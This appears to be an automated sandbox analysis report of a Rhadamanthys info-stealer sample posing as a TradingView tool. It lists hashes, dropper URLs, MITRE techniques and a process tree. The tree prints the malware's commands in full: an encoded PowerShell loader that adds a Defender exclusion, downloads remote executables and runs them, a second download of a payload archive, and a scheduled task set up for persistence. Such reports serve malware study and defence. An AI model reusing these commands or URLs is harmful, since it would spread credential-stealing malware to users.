rhadamanthys | c10f2ab79dadfe62b64ccdeff45a158c0b51541b51f38711a72f716eba746a06

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
19/05/2024, 23:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TradingViewPRM.exe
Size 7KB
Sample240519-2y95csfg38
SHA256 2304961af29fb386d53feb3fbd474d78f8e1f94c85964bc985a91b5f8c1f01b3
MD5 ad57687708febf82604bc83860b1cf2e
SHA1 6e5feb119f2163e1301685a07839709f5f0fffff
SHA512 36f3d03a0de38ab66d11dc8814e1d0c6c2eb3156e357614d1662d614f905c82fb58cfcc701f6091b6727d61bcbe920f934cf787b25ba6f57c48cd98316d963da
SSDEEP 192:texT398qvjT3xszLGjcJr9emxan6HvUqGwc5nYYvkVAud9:ExT39nvxOLGjcJrQmxan6P/Vc5nYAkVH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/GTFOTHERESNOTHINGHERE/raw

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://bitbucket.org/gedegrereghh/fuckyougithub/raw/8cb9b55e44e6ccb04ad3d6503204310cac798748/win-unpacked.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5092 created 2788	5092	iefhs54m.ypf0.exe	49

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	1488	powershell.exe
18	1488	powershell.exe
22	4388	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	TradingViewPRM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	iefhs54m.ypf1.exe

Executes dropped EXE 2 IoCs

pid	Process
5092	iefhs54m.ypf0.exe
1820	iefhs54m.ypf1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
16	bitbucket.org
18	bitbucket.org
22	bitbucket.org

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1488	powershell.exe
4388	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1656	schtasks.exe

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
4820	timeout.exe
2936	timeout.exe
4544	timeout.exe
676	timeout.exe
1616	timeout.exe
1776	timeout.exe
3904	timeout.exe
2200	timeout.exe
64	timeout.exe
3876	timeout.exe
4596	timeout.exe
2936	timeout.exe
3468	timeout.exe
4576	timeout.exe
2100	timeout.exe
2240	timeout.exe
4504	timeout.exe
1544	timeout.exe
4456	timeout.exe
3932	timeout.exe
880	timeout.exe
1608	timeout.exe
4952	timeout.exe
636	timeout.exe
976	timeout.exe
4372	timeout.exe
4792	timeout.exe
3596	timeout.exe
4080	timeout.exe
2080	timeout.exe
4156	timeout.exe
1012	timeout.exe
1252	timeout.exe
2192	timeout.exe
4740	timeout.exe
1764	timeout.exe
4588	timeout.exe
1640	timeout.exe
4372	timeout.exe
1568	timeout.exe
3980	timeout.exe
3596	timeout.exe
4932	timeout.exe
4128	timeout.exe
1156	timeout.exe
4720	timeout.exe
1544	timeout.exe
2424	timeout.exe
1496	timeout.exe
2516	timeout.exe
4380	timeout.exe
4360	timeout.exe
1172	timeout.exe
2164	timeout.exe
1288	timeout.exe
1608	timeout.exe
1248	timeout.exe
764	timeout.exe
636	timeout.exe
2824	timeout.exe
1608	timeout.exe
4800	timeout.exe
620	timeout.exe
4364	timeout.exe

Enumerates processes with tasklist 1 TTPs 8 IoCs

Process Discovery

T1057

pid	Process
872	tasklist.exe
2316	tasklist.exe
3324	tasklist.exe
2896	tasklist.exe
1616	tasklist.exe
3352	tasklist.exe
2712	tasklist.exe
3032	tasklist.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3708	taskkill.exe
3392	taskkill.exe
4160	taskkill.exe
2252	taskkill.exe
4936	taskkill.exe
3376	taskkill.exe
2336	taskkill.exe
4720	taskkill.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1488	powershell.exe
1488	powershell.exe
4388	powershell.exe
4388	powershell.exe
5092	iefhs54m.ypf0.exe
5092	iefhs54m.ypf0.exe
4948	dialer.exe
4948	dialer.exe
4948	dialer.exe
4948	dialer.exe
2772	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	3352	tasklist.exe
Token: SeDebugPrivilege	4936	taskkill.exe
Token: SeDebugPrivilege	2712	tasklist.exe
Token: SeDebugPrivilege	3376	taskkill.exe
Token: SeDebugPrivilege	3032	tasklist.exe
Token: SeDebugPrivilege	2336	taskkill.exe
Token: SeDebugPrivilege	872	tasklist.exe
Token: SeDebugPrivilege	4720	taskkill.exe
Token: SeDebugPrivilege	2316	tasklist.exe
Token: SeDebugPrivilege	3708	taskkill.exe
Token: SeDebugPrivilege	3324	tasklist.exe
Token: SeDebugPrivilege	3392	taskkill.exe
Token: SeDebugPrivilege	2896	tasklist.exe
Token: SeDebugPrivilege	4160	taskkill.exe
Token: SeDebugPrivilege	1616	tasklist.exe
Token: SeDebugPrivilege	2252	taskkill.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 1488	3248	TradingViewPRM.exe	83
PID 3248 wrote to memory of 1488	3248	TradingViewPRM.exe	83
PID 1488 wrote to memory of 5092	1488	powershell.exe	89
PID 1488 wrote to memory of 5092	1488	powershell.exe	89
PID 1488 wrote to memory of 5092	1488	powershell.exe	89
PID 1488 wrote to memory of 1820	1488	powershell.exe	90
PID 1488 wrote to memory of 1820	1488	powershell.exe	90
PID 1820 wrote to memory of 4768	1820	iefhs54m.ypf1.exe	91
PID 1820 wrote to memory of 4768	1820	iefhs54m.ypf1.exe	91
PID 4768 wrote to memory of 2504	4768	cmd.exe	93
PID 4768 wrote to memory of 2504	4768	cmd.exe	93
PID 4768 wrote to memory of 2920	4768	cmd.exe	95
PID 4768 wrote to memory of 2920	4768	cmd.exe	95
PID 4768 wrote to memory of 2416	4768	cmd.exe	97
PID 4768 wrote to memory of 2416	4768	cmd.exe	97
PID 4768 wrote to memory of 4656	4768	cmd.exe	98
PID 4768 wrote to memory of 4656	4768	cmd.exe	98
PID 4768 wrote to memory of 4708	4768	cmd.exe	99
PID 4768 wrote to memory of 4708	4768	cmd.exe	99
PID 4768 wrote to memory of 1656	4768	cmd.exe	100
PID 4768 wrote to memory of 1656	4768	cmd.exe	100
PID 4768 wrote to memory of 3060	4768	cmd.exe	101
PID 4768 wrote to memory of 3060	4768	cmd.exe	101
PID 3060 wrote to memory of 2140	3060	cmd.exe	102
PID 3060 wrote to memory of 2140	3060	cmd.exe	102
PID 4768 wrote to memory of 1044	4768	cmd.exe	103
PID 4768 wrote to memory of 1044	4768	cmd.exe	103
PID 1044 wrote to memory of 2444	1044	cmd.exe	104
PID 1044 wrote to memory of 2444	1044	cmd.exe	104
PID 4768 wrote to memory of 4388	4768	cmd.exe	105
PID 4768 wrote to memory of 4388	4768	cmd.exe	105
PID 5092 wrote to memory of 4948	5092	iefhs54m.ypf0.exe	106
PID 5092 wrote to memory of 4948	5092	iefhs54m.ypf0.exe	106
PID 5092 wrote to memory of 4948	5092	iefhs54m.ypf0.exe	106
PID 5092 wrote to memory of 4948	5092	iefhs54m.ypf0.exe	106
PID 5092 wrote to memory of 4948	5092	iefhs54m.ypf0.exe	106
PID 4768 wrote to memory of 3352	4768	cmd.exe	113
PID 4768 wrote to memory of 3352	4768	cmd.exe	113
PID 4768 wrote to memory of 3572	4768	cmd.exe	114
PID 4768 wrote to memory of 3572	4768	cmd.exe	114
PID 4768 wrote to memory of 4936	4768	cmd.exe	115
PID 4768 wrote to memory of 4936	4768	cmd.exe	115
PID 4768 wrote to memory of 2712	4768	cmd.exe	116
PID 4768 wrote to memory of 2712	4768	cmd.exe	116
PID 4768 wrote to memory of 2848	4768	cmd.exe	117
PID 4768 wrote to memory of 2848	4768	cmd.exe	117
PID 4768 wrote to memory of 3376	4768	cmd.exe	118
PID 4768 wrote to memory of 3376	4768	cmd.exe	118
PID 4768 wrote to memory of 3032	4768	cmd.exe	119
PID 4768 wrote to memory of 3032	4768	cmd.exe	119
PID 4768 wrote to memory of 1488	4768	cmd.exe	120
PID 4768 wrote to memory of 1488	4768	cmd.exe	120
PID 4768 wrote to memory of 2336	4768	cmd.exe	121
PID 4768 wrote to memory of 2336	4768	cmd.exe	121
PID 4768 wrote to memory of 872	4768	cmd.exe	122
PID 4768 wrote to memory of 872	4768	cmd.exe	122
PID 4768 wrote to memory of 948	4768	cmd.exe	123
PID 4768 wrote to memory of 948	4768	cmd.exe	123
PID 4768 wrote to memory of 4720	4768	cmd.exe	124
PID 4768 wrote to memory of 4720	4768	cmd.exe	124
PID 4768 wrote to memory of 2316	4768	cmd.exe	125
PID 4768 wrote to memory of 2316	4768	cmd.exe	125
PID 4768 wrote to memory of 3060	4768	cmd.exe	126
PID 4768 wrote to memory of 3060	4768	cmd.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2788
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4948

C:\Users\Admin\AppData\Local\Temp\TradingViewPRM.exe
"C:\Users\Admin\AppData\Local\Temp\TradingViewPRM.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAZwB0ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdgBzAGkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbQBoAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAegBhAHEAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEcAVABGAE8AVABIAEUAUgBFAFMATgBPAFQASABJAE4ARwBIAEUAUgBFAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwB0AGgAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHIAbgB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHAAeQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBnAGUAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAHkAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABhAGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHIAdABlACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Users\Admin\AppData\Roaming\iefhs54m.ypf0.exe
    "C:\Users\Admin\AppData\Roaming\iefhs54m.ypf0.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5092
- - C:\Users\Admin\AppData\Roaming\iefhs54m.ypf1.exe
    "C:\Users\Admin\AppData\Roaming\iefhs54m.ypf1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\539E.tmp\539F.tmp\53A0.bat C:\Users\Admin\AppData\Roaming\iefhs54m.ypf1.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4768
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:2504
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2920
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2416
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4656
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:4708
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Creates scheduled task(s)
        
        PID:1656
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3060
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:2140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1044
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:2444
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/gedegrereghh/fuckyougithub/raw/8cb9b55e44e6ccb04ad3d6503204310cac798748/win-unpacked.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3352
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:3572
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:2848
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3032
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:1488
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2336
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:872
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:948
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4720
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2316
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:3060
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3708
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3324
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:3196
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3392
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2896
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:5008
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4160
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1608
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:2180
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4372
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:1760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2772
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3704
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2192
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3468
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4740
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4952
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4336
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3368
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1776
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4744
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3932
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4480
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4504
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1764
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:620
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2016
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4792
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2984
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4852
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2516
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4932
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3904
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4720
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2164
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4576
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:880
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3504
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:396
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4364
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4812
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4156
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1608
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4736
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2100
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1288
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1568
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3480
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4456
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3516
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3980
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4268
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4072
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1660
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2476
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2052
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4380
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4000
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3568
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4128
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1012
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:676
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4360
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:64
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1344
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1608
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2240
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1616
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1248
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4080
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4820
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2824
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4800
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3876
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:976
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4372
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2272
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
